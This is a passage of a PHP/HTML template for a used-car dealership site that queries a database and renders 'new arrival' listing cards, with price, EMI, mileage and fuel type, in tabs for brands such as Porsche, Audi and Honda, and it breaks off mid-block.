                    <div class="tab-pane fade" id="porsche" role="tabpanel" aria-labelledby="porsche-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Porsche' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="jeep" role="tabpanel" aria-labelledby="jeep-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Jeep' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="audi" role="tabpanel" aria-labelledby="audi-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Audi' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="toyota" role="tabpanel" aria-labelledby="toyota-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Toyota' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="jaguar" role="tabpanel" aria-labelledby="jaguar-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Jaguar' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="kia" role="tabpanel" aria-labelledby="kia-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'KIA' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p6.jpg"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= formatInr($varient['milage']) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p7.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['fuel_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button owner">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p8.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['no_of_owners'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['gear_type'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="fueltype s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/n6.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= $varient['insurance'] ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                            </ul>

                                                        </span>

                                                    </span>
                                                </li>
                                            </a>

                                        </div>

                                    </div>

                                <?php } ?>

                            </div>

                        <?php } else { ?>

                            <div class="error-page error-page1">

                                <div class="container">

                                    <div class="row">

                                        <div class="col-lg-12">

                                            <div class="error-wrapper">

                                                <div class="error-content-area text-center">

                                                    <h1>Coming Soon</h1>

                                                </div>

                                            </div>

                                        </div>

                                    </div>

                                </div>

                            </div>

                        <?php } ?>

                    </div>

                    <div class="tab-pane fade" id="honda" role="tabpanel" aria-labelledby="honda-tab">

                        <?php

                        $varient_filter_sql = "SELECT v.*, b.car_brand_name AS car_brand_name FROM car_varients as v INNER JOIN car_brands as b ON v.car_brand_id = b.car_brand_id WHERE b.car_brand_name = 'Honda' AND new_arrival = 'Yes'";

                        $varient_filter_stmt = $DB->prepare($varient_filter_sql);

                        $varient_filter_stmt->execute();

                        $varient_filter_rs = $varient_filter_stmt->fetchAll();

                        ?>

                        <?php if (!empty($varient_filter_rs)) { ?>

                            <div class="row g-4">

                                <?php foreach ($varient_filter_rs as $varient) { ?>

                                    <div class="col-xl-4 col-md-4 col-sm-12">

                                        <div class="listing-item new-arrival">

                                            <button class="fav1 compare-button"
                                                data-product-id="<?= $varient['car_varient_id'] ?>">

                                                <i class="bi bi-heart-fill"></i>

                                            </button>
                                            <a
                                                href="<?= MAIN_DIR ?>car-description/<?= $varient['car_varient_id'] ?>/<?= $varient['slug'] ?>">
                                                <li class="product-card1">
                                                    <span class="item-inner">

                                                        <div class="slider-group">
                                                            <?php if ($varient['booked'] === "YES") { ?>

                                                                <div class="booked-img"><img
                                                                        src="<?= MAIN_DIR ?>img/book-removebg-preview (1).png"
                                                                        alt="">

                                                                </div>

                                                            <?php } ?>
                                                            <div class="img-grpslider">

                                                                <div class="img-grp">
                                                                    <img src="<?= MAIN_DIR ?>static/<?= $varient['car_varient_image'] ?>"
                                                                        alt="<?= $varient['car_varient_name'] ?>">
                                                                </div>
                                                            </div>

                                                        </div>

                                                        <span class="cntnt-grp p-0">

                                                            <h6>

                                                                <?= $varient['car_brand_name'] ?>

                                                                <?= $varient['car_model_name'] ?>

                                                                <?= $varient['car_varient_name'] ?>

                                                            </h6>

                                                            <span class="price-modelname">

                                                                <div class="price-latest">

                                                                    <span class="total_price"
                                                                        sellamount="<?= $varient['discounted_price'] ?>">

                                                                        <?= '₹' . formatInr($varient['discounted_price']) ?>

                                                                    </span>

                                                                    <del>

                                                                        <?= '₹' . formatInr($varient['original_price']) ?>

                                                                    </del>

                                                                </div>

                                                                <span class="emiprice"><u>EMI STARTS @</u> <span>
                                                                        <?= emi_amount($varient['discounted_price']) ?>
                                                                    </span></span>

                                                            </span>

                                                            <ul class="list-items">

                                                                <li class="model s10">

                                                                    <span class="li-innr button">

                                                                        <span class="lbl"><img src="<?= MAIN_DIR ?>img/p5.png"
                                                                                style="width:20px;"></span>

                                                                        <span class="val">

                                                                            <?= substr($varient['year'], 0, 4) ?>

                                                                        </span>

                                                                    </span>

                                                                </li>

                                                                <li class="kms s10">

                                                                    <span class="li-innr button">

